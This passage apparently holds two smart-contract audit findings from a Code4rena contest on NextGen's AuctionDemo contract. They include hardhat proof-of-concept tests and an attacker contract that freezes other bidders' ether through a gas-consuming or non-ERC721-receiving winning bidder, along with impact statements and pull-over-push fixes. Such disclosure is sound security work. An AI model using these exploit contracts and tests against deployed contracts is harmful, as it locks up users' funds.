Finally add the User can freeze other users funds in AuctionDemo contract with malicious receive function in his contract test to nextGen.test.js file:

describe("User can freeze other users funds in AuctionDemo contract with malicious receive function in his contract", () => {
  // Set up contracts and signers
  before(async function () {
    ({ signers, contracts } = await loadFixture(fixturesDeployment));
  });

  // Main PoC

  // Create collection
  it("PoC", async () => {
    await contracts.hhCore.createCollection(
      "PoC Collection 1",
      "Poc Artist 1",
      "Poc testing",
      "www.poc-test.com",
      "POC",
      "https://ipfs.io/ipfs/hash/",
      "",
      ["poc"]
    );

    // Register admin
    await contracts.hhAdmin.registerCollectionAdmin(
      1,
      signers.addr1.address,
      true
    );

    // Set collection data
    await contracts.hhCore.connect(signers.addr1).setCollectionData(
      1, // _collectionID
      signers.addr1.address, // _collectionArtistAddress
      2, // _maxCollectionPurchases
      10000, // _collectionTotalSupply
      0 // _setFinalSupplyTimeAfterMint
    );

    // Add minter
    await contracts.hhCore.addMinterContract(contracts.hhMinter);

    // Add randomizer
    await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);

    // Set collection costs
    await contracts.hhMinter.setCollectionCosts(
      1, // _collectionID
      0, // _collectionMintCost
      0, // _collectionEndMintCost
      0, // _rate
      1, // _timePeriod
      1, // _salesOptions
      "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
    );

    // Set collection phases
    await contracts.hhMinter.setCollectionPhases(
      1, // _collectionID
      1696931278, // _allowlistStartTime
      1696931278, // _allowlistEndTime
      1696931278, // _publicStartTime
      1796931278, // _publicEndTime
      "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
    );

    // Mint and auction a token
    await contracts.hhMinter.mintAndAuction(
      await signers.owner.address,
      "tokenData",
      0,
      1,
      1796931278
    );

    // Owner approves auction demo to transfer his nft
    await contracts.hhCore
      .connect(signers.owner)
      .approve(contracts.hhAuctionDemo.getAddress(), 10_000_000_000);

    // Malicious user bids using his malicious contract
    await contracts.hhPocContract3
      .connect(signers.addr1)
      .bid(10_000_000_000, { value: ethers.parseEther("1") });

    // Other users join bidding
    await contracts.hhAuctionDemo
      .connect(signers.addr2)
      .participateToAuction(10_000_000_000, {
        value: ethers.parseEther("1.5"),
      });

    await contracts.hhAuctionDemo
      .connect(signers.addr3)
      .participateToAuction(10_000_000_000, { value: ethers.parseEther("2") });

    await contracts.hhAuctionDemo
      .connect(signers.addr2)
      .participateToAuction(10_000_000_000, {
        value: ethers.parseEther("2.5"),
      });

    await contracts.hhAuctionDemo
      .connect(signers.addr3)
      .participateToAuction(10_000_000_000, { value: ethers.parseEther("3") });

    await contracts.hhAuctionDemo
      .connect(signers.addr2)
      .participateToAuction(10_000_000_000, {
        value: ethers.parseEther("3.5"),
      });

    await contracts.hhAuctionDemo
      .connect(signers.addr3)
      .participateToAuction(10_000_000_000, { value: ethers.parseEther("4") });

    // Increase time to auction end time
    await time.increaseTo(1796931278);

    // AuctionDemo balance before claimAuction
    expect(
      ethers.formatEther(
        await ethers.provider.getBalance(contracts.hhAuctionDemo.getAddress())
      )
    ).to.equal("17.5");

    // Winner calls claimAuction
    await contracts.hhAuctionDemo
      .connect(signers.addr3)
      .claimAuction(10_000_000_000);

    // AuctionDemo balance after claimAuction
    expect(
      ethers.formatEther(
        await ethers.provider.getBalance(contracts.hhAuctionDemo.getAddress())
      )
    ).not.to.equal("0.0");
  });
});

Run tests with npx hardhat test

Further explenation

This exploit is possible because in claimAuction we are making an external call. All of the calls need to be successful to send ether to the user. Since an attacker implemented a smart contract that will consume all the gas and revert the call, noone will receive their ether back.

To clearly see the results we can check the gas consumed by this test, specificly by claimAuction. Gas report at the end of the tests should show something similar to this:

Contract               ·  Method                   ·  Min       ·  Max         ·  Avg        ·  # calls      ·  usd (avg)  │
··························|···························|············|··············|·············|···············|··············
|  auctionDemo            ·  claimAuction             ·    178073  ·    29681485  ·   10024951  ·            3  ·          -

We can see that claimAuction consumed below 30 milion gas which is the block gas limit on ethereum mainnet.

Impact

Users can't withdraw their ether which means the loss of funds.

Tools used

VScode, Manual Review, Hardhat

Recommendations

To fix this issue you could refactor the AuctionDemo contract to follow the pull over push solidity pattern which will allow users to withdraw their funds separately and no other user could interupt their withdrawal.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57-L61 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L276-L298

Vulnerability details

Vulnerability details

Malicious user can implement a contract that might look like this:

// SPDX-License-Identifier:MIT
pragma solidity 0.8.19;

import "./AuctionDemo.sol";

contract PocContract1 {
    auctionDemo public auction;

    constructor(address _auction) {
        auction = auctionDemo(_auction);
    }

    function bid(uint256 _tokenId) public payable {
        auction.participateToAuction{value: msg.value}(_tokenId);
    }

    function claim(uint256 _tokenId) public {
        auction.claimAuction(_tokenId);
    }
}

We import AuctionDemo and implement bid and claim functions that call participateToAuction and claimAuction.

PoC

Add PocContract1 contract to smart-contracts folder inside hardhat folder.

Next modify the fixturesDeployment.js in scripts folder inside the hardhat folder to add AuctionDemo and PocContract1 deployment functionality:

const auctionDemo = await ethers.getContractFactory("auctionDemo");
const hhAuctionDemo = await auctionDemo.deploy(
  await hhMinter.getAddress(),
  await hhCore.getAddress(),
  await hhAdmin.getAddress()
);

const PocContract1 = await ethers.getContractFactory("PocContract1");
const hhPocContract1 = await PocContract1.deploy(
  await hhAuctionDemo.getAddress()
);

Also modify the contracts variable in fixturesDeployment.js to be able to use this deplotments in tests:

const contracts = {
  hhAdmin: hhAdmin,
  hhCore: hhCore,
  hhDelegation: hhDelegation,
  hhMinter: hhMinter,
  hhRandomizer: hhRandomizer,
  hhRandoms: hhRandoms,
  hhAuctionDemo: hhAuctionDemo,
  hhPocContract1: hhPocContract1,
};

Add these at the top of the nextGen.test.js file (we need time to manipulate time in hardhat):

const {
  loadFixture,
  time,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");

Finally add the User can maliciously or accidently freeze ether permanently in AuctionDemo using his smart contract test to nextGen.test.js in test folder inside hardhat folder:

describe("User can maliciously or accidently freeze ether permanently in AuctionDemo using his smart contract", () => {
  // Set up contracts and signers
  before(async function () {
    ({ signers, contracts } = await loadFixture(fixturesDeployment));
  });

  it("PoC", async () => {
    // Create collection
    await contracts.hhCore.createCollection(
      "PoC Collection 1",
      "Poc Artist 1",
      "Poc testing",
      "www.poc-test.com",
      "POC",
      "https://ipfs.io/ipfs/hash/",
      "",
      ["poc"]
    );

    // Register admin
    await contracts.hhAdmin.registerCollectionAdmin(
      1,
      signers.addr1.address,
      true
    );

    // Set collection data
    await contracts.hhCore.connect(signers.addr1).setCollectionData(
      1, // _collectionID
      signers.addr1.address, // _collectionArtistAddress
      2, // _maxCollectionPurchases
      10000, // _collectionTotalSupply
      0 // _setFinalSupplyTimeAfterMint
    );

    // Add minter
    await contracts.hhCore.addMinterContract(contracts.hhMinter);

    // Add randomizer
    await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);

    // Set collection costs
    await contracts.hhMinter.setCollectionCosts(
      1, // _collectionID
      0, // _collectionMintCost
      0, // _collectionEndMintCost
      0, // _rate
      1, // _timePeriod
      1, // _salesOptions
      "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
    );

    // Set collection phases
    await contracts.hhMinter.setCollectionPhases(
      1, // _collectionID
      1696931278, // _allowlistStartTime
      1696931278, // _allowlistEndTime
      1696931278, // _publicStartTime
      1796931278, // _publicEndTime
      "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
    );

    // Mint and auction a token
    await contracts.hhMinter.mintAndAuction(
      await signers.owner.address,
      "tokenData",
      0,
      1,
      1796931278
    );

    // Owner approves auction demo to transfer his nft
    await contracts.hhCore
      .connect(signers.owner)
      .approve(contracts.hhAuctionDemo.getAddress(), 10_000_000_000);

    // Normal user bid his ether to buy nft
    await contracts.hhAuctionDemo
      .connect(signers.addr1)
      .participateToAuction(10_000_000_000, {
        value: ethers.parseEther("1"),
      });

    // Malicious user bid his ether through malicious contract which does not implement ERC721Receiver
    await contracts.hhPocContract1
      .connect(signers.addr2)
      .bid(10_000_000_000, { value: ethers.parseEther("1.1") });

    // Increase time to meet the auction end time
    await time.increaseTo(1796931278);

    // claimAuction function call through malicious contract (which is the winner of auction) reverts
    await expect(
      contracts.hhPocContract1.connect(signers.addr2).claim(10_000_000_000)
    ).to.be.revertedWith("ERC721: transfer to non ERC721Receiver implementer");

    // claimAuction through owner of the auctionDemo (admin) contract reverts because of malicious contract
    await expect(
      contracts.hhAuctionDemo
        .connect(signers.owner)
        .claimAuction(10_000_000_000)
    ).to.be.revertedWith("ERC721: transfer to non ERC721Receiver implementer");

    // Other users can't call it due to access control (WinnerOrAdminRequired modifier)
    await expect(
      contracts.hhAuctionDemo
        .connect(signers.addr1)
        .claimAuction(10_000_000_000)
    ).to.be.revertedWith("Not allowed");

    // As a result user's funds are permanently frozen (lost) in a auctionDemo contract
    // 2.1 ether is lock in this contrct forever
    expect(
      ethers.formatEther(
        await ethers.provider.getBalance(contracts.hhAuctionDemo.getAddress())
      )
    ).to.equal("2.1");
  });
});

Run tests with npx hardhat test

Further explenation

This PoC shows that after a malicious user wins an auction using his smart contract all funds are frozen and there is no other way to withdraw them from the contract. When we try to call claimAuction from malicious user contract, transaction reverts. The same thing happens when admin tries to call this function. Normal user that participated in the auction can't call this function due to access control.

AuctionDemo does not check that the msg.sender is EOA or if it implements ERC721Receiver (when msg.sender is contract). This missing check creates a bug in claimAuction function when we try to safeTransferFrom the auctioned NFT. Because all withdrawal of funds after auction are done in one function call inside one fuction. One revert will terminate the whole transaction and other users won't receive their funds without trying to transfer the NFT to the auction winner (in this situation, malicious contract). We cannot remove the malicious user from the contract. It will always be in the auctionInfoData and will be as the highestBidder. It is impossible to skip the token transfer to the winner.

Impact

Funds are permanently frozen (lost) in AuctionDemo contract.

Tools used

VScode, Manual Review, Hardhat

Recommendations

There are many ways to fix this vulnerability. One of the solutions might be a CHECK that ensures that address is able to receive the auctioned NFT. In my opinion the better way to fix this is to use pull over push solidity pattern. This will allow every user to withdraw their ether separately and not freeze the funds if an address is malicious and can't receive NFT.

Assessed type

ERC721